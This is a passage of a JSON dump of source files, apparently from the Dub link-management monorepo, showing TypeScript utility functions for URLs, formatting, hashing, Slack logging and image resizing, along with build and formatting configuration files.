    "content": "/**\n * Formats a file size in bytes to a human-readable string (KB, MB, GB)\n * @param bytes File size in bytes\n * @param decimals Number of decimal places to show\n * @returns Formatted file size string\n */\nexport function formatFileSize(bytes: number, decimals: number = 2): string {\n  if (bytes === 0) return \"0 Bytes\";\n\n  const k = 1024;\n  const sizes = [\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"];\n  const i = Math.floor(Math.log(bytes) / Math.log(k));\n\n  return (\n    parseFloat((bytes / Math.pow(k, i)).toFixed(decimals)) + \" \" + sizes[i]\n  );\n}\n"
  },
  {
    "path": "packages/utils/src/functions/group-by.ts",
    "content": "export function groupBy<T>(\n  items: readonly T[],\n  keyFn: (item: T) => string,\n): Record<string, T[]> {\n  const result: Record<string, T[]> = {};\n\n  for (const item of items) {\n    const key = keyFn(item);\n    (result[key] ??= []).push(item);\n  }\n\n  return result;\n}\n"
  },
  {
    "path": "packages/utils/src/functions/hash-string.ts",
    "content": "export async function hashStringSHA256(str: string) {\n  // Encode the string into bytes\n  const encoder = new TextEncoder();\n  const data = encoder.encode(str);\n\n  // Hash the data with SHA-256\n  const hashBuffer = await crypto.subtle.digest(\"SHA-256\", data);\n\n  // Convert the buffer to a hexadecimal string\n  const hashArray = Array.from(new Uint8Array(hashBuffer));\n  const hashHex = hashArray\n    .map((b) => b.toString(16).padStart(2, \"0\"))\n    .join(\"\");\n\n  return hashHex;\n}\n"
  },
  {
    "path": "packages/utils/src/functions/index.ts",
    "content": "export * from \"./array-equal\";\nexport * from \"./avatar\";\nexport * from \"./camel-case\";\nexport * from \"./capitalize\";\nexport * from \"./chunk\";\nexport * from \"./cn\";\nexport * from \"./combine-words\";\nexport * from \"./construct-metadata\";\nexport * from \"./currency-formatter\";\nexport * from \"./currency-zero-decimal\";\nexport * from \"./datetime\";\nexport * from \"./deep-equal\";\nexport * from \"./domains\";\nexport * from \"./fetch-with-retry\";\nexport * from \"./fetch-with-timeout\";\nexport * from \"./fetcher\";\nexport * from \"./format-file-size\";\nexport * from \"./group-by\";\nexport * from \"./hash-string\";\nexport * from \"./is-click-on-interactive-child\";\nexport * from \"./is-iframeable\";\nexport * from \"./keys\";\nexport * from \"./link-constructor\";\nexport * from \"./log\";\nexport * from \"./nanoid\";\nexport * from \"./nformatter\";\nexport * from \"./normalize-string\";\nexport * from \"./parse-filter-value\";\nexport * from \"./pick\";\nexport * from \"./pluralize\";\nexport * from \"./pretty-print\";\nexport * from \"./promises\";\nexport * from \"./punycode\";\nexport * from \"./random-value\";\nexport * from \"./regex-escape\";\nexport * from \"./resize-image\";\nexport * from \"./smart-truncate\";\nexport * from \"./stable-sort\";\nexport * from \"./text-fetcher\";\nexport * from \"./time-ago\";\nexport * from \"./to-cents-number\";\nexport * from \"./trim\";\nexport * from \"./truncate\";\nexport * from \"./urls\";\n"
  },
  {
    "path": "packages/utils/src/functions/is-click-on-interactive-child.ts",
    "content": "import { MouseEvent } from \"react\";\n\nexport function isClickOnInteractiveChild(e: MouseEvent) {\n  // Traverse up the DOM tree to see if there's a clickable element between this card and the click\n  for (\n    let target = e.target as HTMLElement, i = 0;\n    target && target !== e.currentTarget && i < 50; // Only go 50 levels deep\n    target = target.parentElement as HTMLElement, i++\n  ) {\n    // Don't trigger onClick if a clickable element inside the card was clicked\n    if (\n      [\"button\", \"a\", \"input\", \"textarea\"].includes(\n        target.tagName.toLowerCase(),\n      ) ||\n      target.getAttribute(\"role\") === \"dialog\" ||\n      target.id === \"modal-backdrop\" ||\n      [\n        \"data-radix-popper-content-wrapper\",\n        \"data-vaul-overlay\",\n        \"data-vaul-drawer\",\n      ].some((attr) => target.getAttribute(attr) !== null)\n    )\n      return true;\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "packages/utils/src/functions/is-iframeable.ts",
    "content": "// check if a link can be displayed in an iframe\nexport const isIframeable = async ({\n  url,\n  requestDomain,\n}: {\n  url: string;\n  requestDomain: string;\n}) => {\n  const res = await fetch(url);\n\n  const cspHeader = res.headers.get(\"content-security-policy\");\n  if (cspHeader) {\n    const frameAncestorsMatch = cspHeader.match(\n      /frame-ancestors\\s+([\\s\\S]+?)(?=;|$)/i,\n    );\n    if (frameAncestorsMatch) {\n      if (frameAncestorsMatch[1] === \"*\") {\n        return true;\n      }\n      const allowedOrigins = frameAncestorsMatch[1].split(/\\s+/);\n      if (allowedOrigins.includes(requestDomain)) {\n        return true;\n      }\n    }\n  }\n\n  const xFrameOptions = res.headers.get(\"X-Frame-Options\");\n  if (xFrameOptions === \"DENY\" || xFrameOptions === \"SAMEORIGIN\") {\n    return false;\n  }\n\n  return true;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/keys.ts",
    "content": "// allow letters, numbers, '-', '_', '/', '.', and emojis\nexport const validKeyRegex = new RegExp(\n  /^[0-9A-Za-z_\\u0080-\\uFFFF\\/\\-\\p{Emoji}.]+$/u,\n);\n\nexport const isUnsupportedKey = (key: string) => {\n  // special case for root domain links\n  if (key === \"_root\") {\n    return false;\n  }\n  const excludedPrefix = [\".well-known\"];\n  const excludedSuffix = [\".php\", \".php7\"];\n  return (\n    excludedPrefix.some((prefix) => key.startsWith(prefix)) ||\n    excludedSuffix.some((suffix) => key.endsWith(suffix))\n  );\n};\n\nexport const isReservedKeyGlobal = (key: string) => {\n  const reservedKeys = [\n    \"favicon.ico\",\n    \"sitemap.xml\",\n    \"robots.txt\",\n    \"manifest.webmanifest\",\n    \"manifest.json\",\n    \"apple-app-site-association\",\n  ];\n  return reservedKeys.includes(key);\n};\n"
  },
  {
    "path": "packages/utils/src/functions/link-constructor.ts",
    "content": "import { punycode } from \".\";\n\nexport function linkConstructor({\n  domain,\n  key,\n  pretty,\n  searchParams,\n}: {\n  domain?: string;\n  key?: string;\n  pretty?: boolean;\n  searchParams?: Record<string, string>;\n}) {\n  if (!domain) {\n    return \"\";\n  }\n\n  let url = `https://${punycode(domain)}${key && key !== \"_root\" ? `/${punycode(key)}` : \"\"}`;\n\n  if (searchParams) {\n    const search = new URLSearchParams();\n    for (const [key, value] of Object.entries(searchParams)) {\n      search.set(key, value);\n    }\n    url += `?${search.toString()}`;\n  }\n\n  return pretty ? url.replace(/^https?:\\/\\//, \"\") : url;\n}\n\nexport function linkConstructorSimple({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}) {\n  return `https://${domain}${key === \"_root\" ? \"\" : `/${key}`}`;\n}\n"
  },
  {
    "path": "packages/utils/src/functions/log.ts",
    "content": "const logTypeToEnv = {\n  alerts: process.env.DUB_SLACK_HOOK_ALERTS,\n  cron: process.env.DUB_SLACK_HOOK_CRON,\n  errors: process.env.DUB_SLACK_HOOK_ERRORS,\n  links: process.env.DUB_SLACK_HOOK_LINKS,\n  payouts: process.env.DUB_SLACK_HOOK_PAYOUTS,\n};\n\nexport const log = async ({\n  message,\n  type,\n  mention = false,\n}: {\n  message: string;\n  type: \"alerts\" | \"cron\" | \"errors\" | \"links\" | \"payouts\";\n  mention?: boolean;\n}) => {\n  /* Log a message to the console */\n  console.log(message);\n\n  const HOOK = logTypeToEnv[type];\n  if (!HOOK) return;\n  try {\n    return await fetch(HOOK, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        blocks: [\n          {\n            type: \"section\",\n            text: {\n              type: \"mrkdwn\",\n              // prettier-ignore\n              text: `${mention ? \"<@U0404G6J3NJ> \" : \"\"}${(type === \"alerts\" || type === \"errors\") ? \":alert: \" : \"\"}${message}`,\n            },\n          },\n        ],\n      }),\n    });\n  } catch (e) {\n    console.log(`Failed to log to Dub Slack. Error: ${e}`);\n  }\n};\n"
  },
  {
    "path": "packages/utils/src/functions/nanoid.ts",
    "content": "import { customAlphabet } from \"nanoid\";\n\nexport const nanoid = (chars?: number) => {\n  return customAlphabet(\n    \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\",\n    chars || 7, // 7-character random string by default\n  )();\n};\n"
  },
  {
    "path": "packages/utils/src/functions/nformatter.ts",
    "content": "export function nFormatter(\n  number?: number | bigint,\n  opts: { digits?: number; full?: boolean } = {\n    digits: 1,\n  },\n) {\n  const num = number !== undefined ? Number(number) : undefined;\n\n  if (!num) {\n    return \"0\";\n  }\n\n  if (opts.full) {\n    return Intl.NumberFormat(\"en-US\").format(num);\n  }\n\n  const rx = /\\.0+$|(\\.[0-9]*[1-9])0+$/;\n\n  if (num < 1) {\n    return num.toFixed(opts.digits).replace(rx, \"$1\");\n  }\n\n  const lookup = [\n    { value: 1, symbol: \"\" },\n    { value: 1e3, symbol: \"K\" },\n    { value: 1e6, symbol: \"M\" },\n    { value: 1e9, symbol: \"G\" },\n    { value: 1e12, symbol: \"T\" },\n    { value: 1e15, symbol: \"P\" },\n    { value: 1e18, symbol: \"E\" },\n  ];\n  var item = lookup\n    .slice()\n    .reverse()\n    .find(function (item) {\n      return num >= item.value;\n    });\n  return item\n    ? (num / item.value).toFixed(opts.digits).replace(rx, \"$1\") + item.symbol\n    : \"0\";\n}\n"
  },
  {
    "path": "packages/utils/src/functions/normalize-string.ts",
    "content": "export const normalizeString = (key: string) => {\n  if (!key) return \"\";\n\n  const original = key;\n  const normalized = key\n    // Remove BOM and other special characters\n    .replace(/^\\uFEFF/, \"\")\n    .replace(/^\\uFFFE/, \"\")\n    .replace(/^\\uEFBBBF/, \"\")\n    .replace(/^\\u0000\\uFEFF/, \"\")\n    .replace(/^\\uFFFE0000/, \"\")\n    .replace(/^\\u2028/, \"\")\n    .replace(/^\\u2029/, \"\")\n    // Remove any non-printable characters\n    .replace(/[\\x00-\\x1F\\x7F-\\x9F]/g, \"\")\n    // Normalize whitespace\n    .replace(/\\s+/g, \" \")\n    .trim()\n    // Optional: normalize case\n    .toLowerCase();\n\n  // Optional: Add logging in development\n  if (process.env.NODE_ENV === \"development\" && original !== normalized) {\n    // console.log(`Normalized key: \"${original}\" -> \"${normalized}\"`);\n    // console.log(\n    //   \"Original char codes:\",\n    //   Array.from(original).map((c) => c.charCodeAt(0)),\n    // );\n  }\n\n  return normalized;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/parse-filter-value.ts",
    "content": "export type FilterOperator = \"IS\" | \"IS_NOT\" | \"IS_ONE_OF\" | \"IS_NOT_ONE_OF\";\nexport type SQLOperator = \"IN\" | \"NOT IN\";\n\nexport interface ParsedFilter {\n  operator: FilterOperator;\n  sqlOperator: SQLOperator;\n  values: string[];\n}\n\n/**\n * Parse filter value from URL format to structured filter\n *\n * Formats supported:\n * - \"US\" → IS, values: [\"US\"], SQL: IN\n * - \"US,BR,FR\" → IS_ONE_OF, values: [\"US\", \"BR\", \"FR\"], SQL: IN\n * - \"-US\" → IS_NOT, values: [\"US\"], SQL: NOT IN\n * - \"-US,BR\" → IS_NOT_ONE_OF, values: [\"US\", \"BR\"], SQL: NOT IN\n *\n * Note: All filters now use IN/NOT IN operators for consistency,\n * even for single values. This simplifies SQL query generation.\n *\n * @param value - The filter value string (can include \"-\" prefix for negation)\n * @returns Parsed filter with operator and values array\n */\nexport function parseFilterValue(\n  value: string | string[] | undefined,\n): ParsedFilter | undefined {\n  if (!value) return undefined;\n\n  if (Array.isArray(value)) {\n    return {\n      operator: value.length > 1 ? \"IS_ONE_OF\" : \"IS\",\n      sqlOperator: \"IN\",\n      values: value,\n    };\n  }\n\n  const isNegated = value.startsWith(\"-\");\n  const cleanValue = isNegated ? value.slice(1) : value;\n  const values = cleanValue.split(\",\").filter(Boolean);\n\n  if (values.length === 0) return undefined;\n\n  const operator: FilterOperator = isNegated\n    ? values.length > 1\n      ? \"IS_NOT_ONE_OF\"\n      : \"IS_NOT\"\n    : values.length > 1\n      ? \"IS_ONE_OF\"\n      : \"IS\";\n\n  const sqlOperator: SQLOperator = isNegated ? \"NOT IN\" : \"IN\";\n\n  return { operator, sqlOperator, values };\n}\n\n/**\n * Build filter value string from parsed filter\n *\n * @param parsed - The parsed filter object\n * @returns URL-formatted filter string\n */\nexport function buildFilterValue(parsed: ParsedFilter): string {\n  const joined = parsed.values.join(\",\");\n  return parsed.operator.includes(\"NOT\") ? `-${joined}` : joined;\n}\n"
  },
  {
    "path": "packages/utils/src/functions/pick.ts",
    "content": "// Picks a subset of properties from an object and returns a new object\n// containing only the specified keys.\nexport const pick = <T extends Record<string, any>, K extends keyof T>(\n  obj: T,\n  keys: K[],\n): Pick<T, K> => {\n  return Object.fromEntries(keys.map((key) => [key, obj[key]])) as Pick<T, K>;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/pluralize.ts",
    "content": "export const pluralize = (\n  word: string,\n  count: number,\n  options: {\n    plural?: string;\n  } = {},\n) => {\n  if (count === 1) {\n    return word;\n  }\n\n  // Use custom plural form if provided, otherwise add 's'\n  return options.plural || `${word}s`;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/pretty-print.ts",
    "content": "export function prettyPrint(value: any, indent = 2) {\n  return JSON.stringify(\n    value,\n    (_key, val) => {\n      if (val instanceof Set) return { __type: \"Set\", values: [...val] };\n      if (val instanceof Map)\n        return { __type: \"Map\", entries: [...val.entries()] };\n      if (val instanceof Date) return val.toISOString();\n      if (val instanceof Error)\n        return { __type: \"Error\", message: val.message, stack: val.stack };\n      return val;\n    },\n    indent,\n  );\n}\n"
  },
  {
    "path": "packages/utils/src/functions/promises.ts",
    "content": "export const isFulfilled = <T>(\n  p: PromiseSettledResult<T>,\n): p is PromiseFulfilledResult<T> => p.status === \"fulfilled\";\n\nexport const isRejected = <T>(\n  p: PromiseSettledResult<T>,\n): p is PromiseRejectedResult => p.status === \"rejected\";\n\nexport function logPromiseResults<T>(\n  results: PromiseSettledResult<T>[],\n  options?: {\n    label?: string;\n    items?: { id?: string | number }[]; // optional matching array to show context\n  },\n) {\n  const { label = \"Task\", items = [] } = options || {};\n\n  let successCount = 0;\n  let failureCount = 0;\n\n  for (const [index, result] of results.entries()) {\n    const id = items[index]?.id ? ` [${items[index]?.id}]` : \"\";\n\n    if (result.status === \"fulfilled\") {\n      successCount++;\n      console.log(`${label}${id} succeeded.`);\n    } else {\n      failureCount++;\n      const reason =\n        result.reason instanceof Error\n          ? result.reason.message\n          : String(result.reason);\n      console.error(`${label}${id} failed: ${reason}`);\n    }\n  }\n\n  return {\n    successCount,\n    failureCount,\n  };\n}\n"
  },
  {
    "path": "packages/utils/src/functions/punycode.ts",
    "content": "import punycodeHelper from \"punycode/\";\n\nexport function punycode(str?: string | null) {\n  if (typeof str !== \"string\") return \"\";\n  try {\n    return punycodeHelper.toUnicode(str);\n  } catch (e) {\n    return str;\n  }\n}\n\nexport function punyEncode(str?: string | null) {\n  if (typeof str !== \"string\") return \"\";\n  return punycodeHelper.toASCII(str);\n}\n"
  },
  {
    "path": "packages/utils/src/functions/random-value.ts",
    "content": "export const randomValue = (values: any[]) => {\n  return values[Math.floor(Math.random() * values.length)];\n};\n"
  },
  {
    "path": "packages/utils/src/functions/regex-escape.ts",
    "content": "/**\n * Escapes a string for use in a regular expression.\n * https://stackoverflow.com/a/6969486\n */\nexport function regexEscape(str: string) {\n  return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\n"
  },
  {
    "path": "packages/utils/src/functions/resize-image.ts",
    "content": "export const resizeImage = (\n  file: File,\n  opts: {\n    width: number;\n    height: number;\n    quality?: number;\n  } = {\n    width: 1200, // Desired output width\n    height: 630, // Desired output height\n    quality: 1.0, // Set quality to maximum\n  },\n): Promise<string> => {\n  return new Promise((resolve, reject) => {\n    const reader = new FileReader();\n    reader.onload = (e: ProgressEvent<FileReader>) => {\n      const img = new Image();\n      img.src = e.target?.result as string;\n      img.onload = () => {\n        const targetWidth = opts.width;\n        const targetHeight = opts.height;\n        const canvas = document.createElement(\"canvas\");\n        canvas.width = targetWidth;\n        canvas.height = targetHeight;\n\n        const ctx = canvas.getContext(\"2d\") as CanvasRenderingContext2D;\n        ctx.imageSmoothingQuality = \"high\"; // Set image smoothing quality to high\n\n        // Calculating the aspect ratio\n        const sourceWidth = img.width;\n        const sourceHeight = img.height;\n        const sourceAspectRatio = sourceWidth / sourceHeight;\n        const targetAspectRatio = targetWidth / targetHeight;\n\n        let drawWidth: number;\n        let drawHeight: number;\n        let offsetX = 0;\n        let offsetY = 0;\n\n        // Adjust drawing sizes based on the aspect ratio\n        if (sourceAspectRatio > targetAspectRatio) {\n          // Source is wider\n          drawHeight = sourceHeight;\n          drawWidth = sourceHeight * targetAspectRatio;\n          offsetX = (sourceWidth - drawWidth) / 2;\n        } else {\n          // Source is taller or has the same aspect ratio\n          drawWidth = sourceWidth;\n          drawHeight = sourceWidth / targetAspectRatio;\n          offsetY = (sourceHeight - drawHeight) / 2;\n        }\n\n        // Draw the image onto the canvas\n        ctx.drawImage(\n          img,\n          offsetX,\n          offsetY,\n          drawWidth,\n          drawHeight,\n          0,\n          0,\n          targetWidth,\n          targetHeight,\n        );\n\n        // Convert the canvas to a base64 string\n        const base64Image = canvas.toDataURL(\"image/jpeg\", opts.quality);\n        resolve(base64Image);\n      };\n      img.onerror = (error) =>\n        reject(new Error(\"Image loading error: \" + error));\n    };\n    reader.onerror = (error) => reject(new Error(\"FileReader error: \" + error));\n    reader.readAsDataURL(file);\n  });\n};\n"
  },
  {
    "path": "packages/utils/src/functions/smart-truncate.ts",
    "content": "/* \n    smart truncation algorithm that dynamically adjusts based on the length of the domain and the path\n    it gives priority to the path and truncates the domain if it's too long\n    at minimum the domain should still show 8 characters though\n*/\n\nimport { truncate } from \"./truncate\";\n\n// Function to truncate domain while preserving TLD\nconst truncateDomain = (domain: string, maxLength: number): string => {\n  const parts = domain.split(\".\");\n  const tld = parts.pop() || \"\";\n  const rest = parts.join(\".\");\n\n  return `${rest.slice(0, maxLength)}...${tld}`;\n};\n\nexport const smartTruncate = (link: string, maxLength: number): string => {\n  if (link.length <= maxLength) {\n    return link;\n  }\n\n  const [domain, ...pathParts] = link.split(\"/\");\n  const path = pathParts.join(\"/\");\n  const minDomainLength = 8;\n\n  // calculate max path length\n  const maxPathLength = maxLength - minDomainLength;\n\n  // Truncate path\n  const truncatedPath = truncate(path, maxPathLength)!;\n\n  // Truncate domain if necessary, preserving TLD\n  const truncatedDomain = truncateDomain(\n    domain,\n    maxLength - truncatedPath.length,\n  );\n\n  return `${truncatedDomain}/${truncatedPath}`;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/stable-sort.ts",
    "content": "/**\n * Sorts an array using the specified compare function, preserving the order\n * of elements that compare equally.\n */\nexport const stableSort = <T>(arr: T[], compare: (a: T, b: T) => number) =>\n  arr\n    .map((item, index) => ({ item, index }))\n    .sort((a, b) => compare(a.item, b.item) || a.index - b.index)\n    .map(({ item }) => item);\n"
  },
  {
    "path": "packages/utils/src/functions/text-fetcher.ts",
    "content": "interface SWRError extends Error {\n  info: any;\n  status: number;\n}\n\nexport async function textFetcher(\n  input: RequestInfo,\n  init?: RequestInit & { headers?: Record<string, string> },\n): Promise<string> {\n  const res = await fetch(input, {\n    ...init,\n    ...(init?.headers && { headers: init.headers }),\n  });\n\n  if (!res.ok) {\n    let message = \"An error occurred while fetching the data.\";\n    try {\n      message = (await res.json())?.error?.message || message;\n    } catch (e) {}\n    const error = new Error(message) as SWRError;\n    error.info = message;\n    error.status = res.status;\n\n    throw error;\n  }\n\n  return res.text();\n}\n"
  },
  {
    "path": "packages/utils/src/functions/time-ago.ts",
    "content": "import ms from \"ms\";\n\nexport const timeAgo = (\n  timestamp: Date | null,\n  {\n    withAgo,\n  }: {\n    withAgo?: boolean;\n  } = {},\n): string => {\n  if (!timestamp) return \"Never\";\n  const diff = Date.now() - new Date(timestamp).getTime();\n  if (diff < 0 || diff > 82800000) {\n    // future timestamps or more than 23 hours\n    // similar to how Twitter displays timestamps\n    return new Date(timestamp).toLocaleDateString(\"en-US\", {\n      month: \"short\",\n      day: \"numeric\",\n      year:\n        // show year if it's a future timestamp or if it's a different year than current\n        diff < 0 ||\n        new Date(timestamp).getFullYear() !== new Date().getFullYear()\n          ? \"numeric\"\n          : undefined,\n    });\n  } else if (diff < 1000) {\n    // less than 1 second\n    return \"Just now\";\n  }\n\n  return `${ms(diff)}${withAgo ? \" ago\" : \"\"}`;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/to-cents-number.ts",
    "content": "/**\n * Normalize a cents value from Prisma (number before migration, bigint after) to number.\n * Use for display, JSON serialization, and anywhere a number is required.\n */\nexport function toCentsNumber(\n  value: number | bigint | null | undefined,\n): number {\n  if (value == null) return 0;\n  return typeof value === \"bigint\" ? Number(value) : value;\n}\n"
  },
  {
    "path": "packages/utils/src/functions/trim.ts",
    "content": "export const trim = (u: unknown) => (typeof u === \"string\" ? u.trim() : u);\n"
  },
  {
    "path": "packages/utils/src/functions/truncate.ts",
    "content": "export const truncate = (\n  str: string | null | undefined,\n  length: number,\n): string | null => {\n  if (!str || str.length <= length) return str ?? null;\n  return `${str.slice(0, length - 3)}...`;\n};\n"
  },
  {
    "path": "packages/utils/src/functions/urls.ts",
    "content": "export const isValidUrl = (url: string) => {\n  try {\n    new URL(url);\n    return true;\n  } catch (e) {\n    return false;\n  }\n};\n\nexport const getUrlFromString = (str: string) => {\n  if (isValidUrl(str)) return str;\n  try {\n    if (str.includes(\".\") && !str.includes(\" \")) {\n      return new URL(`https://${str}`).toString();\n    }\n  } catch (_) {}\n  return str;\n};\n\nexport const getUrlObjFromString = (str: string) => {\n  if (isValidUrl(str)) return new URL(str);\n  try {\n    if (str.includes(\".\") && !str.includes(\" \")) {\n      return new URL(`https://${str}`);\n    }\n  } catch (_) {}\n  return null;\n};\n\nexport const getUrlFromStringIfValid = (str: string) => {\n  if (isValidUrl(str)) return str;\n  try {\n    if (str.includes(\".\") && !str.includes(\" \")) {\n      return new URL(`https://${str}`).toString();\n    }\n  } catch (_) {}\n  return null;\n};\n\nexport const getSearchParams = (url: string) => {\n  // Create a params object\n  let params = {} as Record<string, string>;\n\n  new URL(url).searchParams.forEach(function (val, key) {\n    params[key] = val;\n  });\n\n  return params;\n};\n\nexport const getSearchParamsWithArray = (url: string) => {\n  let params = {} as Record<string, string | string[]>;\n\n  new URL(url).searchParams.forEach(function (val, key) {\n    if (key in params) {\n      const param = params[key];\n      Array.isArray(param) ? param.push(val) : (params[key] = [param, val]);\n    } else {\n      params[key] = val;\n    }\n  });\n\n  return params;\n};\n\nexport const getParamsFromURL = (url: string) => {\n  if (!url) return {};\n  try {\n    const params = new URL(url).searchParams;\n    const paramsObj: Record<string, string> = {};\n    for (const [key, value] of params.entries()) {\n      if (value && value !== \"\") {\n        paramsObj[key] = value;\n      }\n    }\n    return paramsObj;\n  } catch (e) {\n    return {};\n  }\n};\n\nexport const UTMTags = [\n  \"utm_source\",\n  \"utm_medium\",\n  \"utm_campaign\",\n  \"utm_term\",\n  \"utm_content\",\n  \"ref\",\n] as const;\n\nexport const constructURLFromUTMParams = (\n  url: string,\n  utmParams: Record<string, string | null>,\n) => {\n  if (!url) return \"\";\n  try {\n    const newURL = new URL(url);\n    for (const [key, value] of Object.entries(utmParams)) {\n      if (!value) {\n        newURL.searchParams.delete(key);\n      } else {\n        newURL.searchParams.set(key, value.replace(\"+\", \" \"));\n      }\n    }\n    return newURL.toString();\n  } catch (e) {\n    return \"\";\n  }\n};\n\nexport const paramsMetadata = [\n  { display: \"UTM Source\", key: \"utm_source\", examples: \"google, twitter\" },\n  { display: \"UTM Medium\", key: \"utm_medium\", examples: \"social, email\" },\n  { display: \"UTM Campaign\", key: \"utm_campaign\", examples: \"summer sale\" },\n  { display: \"UTM Term\", key: \"utm_term\", examples: \"blue shoes\" },\n  { display: \"UTM Content\", key: \"utm_content\", examples: \"logo link\" },\n  { display: \"Referral (ref)\", key: \"ref\", examples: \"google, twitter\" },\n];\n\nexport const getUTMParamsFromURL = (url: string) => {\n  return Object.fromEntries(\n    Object.entries(getParamsFromURL(url)).filter(([key]) =>\n      UTMTags.includes(key as (typeof UTMTags)[number]),\n    ),\n  );\n};\n\nexport const getUrlWithoutUTMParams = (url: string) => {\n  try {\n    const newURL = new URL(url);\n    paramsMetadata.forEach((param) => newURL.searchParams.delete(param.key));\n    return newURL.toString();\n  } catch (e) {\n    return url;\n  }\n};\n\nexport const getPrettyUrl = (url?: string | null) => {\n  if (!url) return \"\";\n  // remove protocol (http/https) and www.\n  // also remove trailing slash\n  return url\n    .replace(/(^\\w+:|^)\\/\\//, \"\")\n    .replace(\"www.\", \"\")\n    .replace(/\\/$/, \"\");\n};\n\nexport const createHref = (\n  href: string,\n  domain: string,\n  // any params, doesn't have to be all of them\n  utmParams?: Partial<Record<(typeof UTMTags)[number], string>>,\n) => {\n  if (domain === \"dub.co\") return href;\n  const url = new URL(href.startsWith(\"/\") ? `https://dub.co${href}` : href);\n  if (utmParams) {\n    Object.entries(utmParams).forEach(([key, value]) => {\n      url.searchParams.set(key, value);\n    });\n  }\n  return url.toString();\n};\n\nexport const getPathnameFromUrl = (url: string) => {\n  try {\n    const u = new URL(url, \"https://dummy-base.local\");\n\n    // Keep ?query intact\n    let pathname = u.pathname + u.search;\n\n    // Remove leading slash for relative-style URLs\n    pathname = pathname.startsWith(\"/\") ? pathname.slice(1) : pathname;\n\n    return pathname;\n  } catch (e) {\n    return url;\n  }\n};\n\n// Helper function to normalize URL by removing query params\nexport const normalizeUrl = (url: string): string => {\n  try {\n    const urlObj = new URL(url);\n    return `https://${urlObj.hostname}${urlObj.pathname}`;\n  } catch {\n    return url;\n  }\n};\n\nexport function buildUrl(\n  baseUrl: string,\n  params?: Record<string, string | number | boolean | null | undefined>,\n) {\n  const url = new URL(\n    baseUrl,\n    typeof window !== \"undefined\" ? window.location.origin : \"http://localhost\",\n  );\n\n  if (params) {\n    Object.entries(params).forEach(([key, value]) => {\n      if (value !== null && value !== undefined && value !== \"\") {\n        url.searchParams.append(key, String(value));\n      }\n    });\n  }\n\n  return url.toString();\n}\n\nexport const getFileExtension = (url: string): string | null => {\n  try {\n    const pathname = new URL(url).pathname;\n    const extension = pathname.split(\".\").pop();\n    return extension ? extension.toUpperCase() : null;\n  } catch {\n    // If URL parsing fails, try to extract from the string directly\n    const extension = url.split(\".\").pop()?.split(\"?\")[0];\n    return extension ? extension.toUpperCase() : null;\n  }\n};\n"
  },
  {
    "path": "packages/utils/src/index.ts",
    "content": "export * from \"./constants\";\nexport * from \"./functions\";\n"
  },
  {
    "path": "packages/utils/tsconfig.json",
    "content": "{\n  \"extends\": \"tsconfig/react-library.json\",\n  \"include\": [\".\"],\n  \"exclude\": [\"dist\", \"build\", \"node_modules\"]\n}\n"
  },
  {
    "path": "packages/utils/tsup.config.ts",
    "content": "import { defineConfig, Options } from \"tsup\";\n\nexport default defineConfig((options: Options) => ({\n  entry: [\"src/**/*.ts\"],\n  format: [\"esm\"],\n  dts: true,\n  minify: true,\n  external: [\"react\"],\n  ...options,\n}));\n"
  },
  {
    "path": "pnpm-workspace.yaml",
    "content": "packages:\n  - \"apps/*\"\n  - \"apps/web/.react-email\"\n  - \"packages/*\"\n  - \"packages/embeds/*\"\n"
  },
  {
    "path": "prettier.config.js",
    "content": "// prettier.config.js\nmodule.exports = {\n  bracketSpacing: true,\n  semi: true,\n  trailingComma: \"all\",\n  printWidth: 80,\n  tabWidth: 2,\n  plugins: [\n    // comment for better diff\n    \"prettier-plugin-organize-imports\",\n    \"prettier-plugin-tailwindcss\",\n  ],\n};\n"
  },
  {
    "path": "turbo.json",
    "content": "{\n  \"$schema\": \"https://turbo.build/schema.json\",\n  \"globalDependencies\": [\"**/.env\"],\n  \"pipeline\": {\n    \"build\": {\n      \"dependsOn\": [\"^build\"],\n      \"outputs\": [\"!.next/cache/**\", \".next/**\", \"dist/**\"]\n    },\n    \"dev\": {\n      \"cache\": false,\n      \"persistent\": true\n    },\n    \"clean\": {\n      \"cache\": false\n    },\n    \"test\": {\n      \"dependsOn\": [\"^build\"]\n    }\n  }\n}\n"
  }
]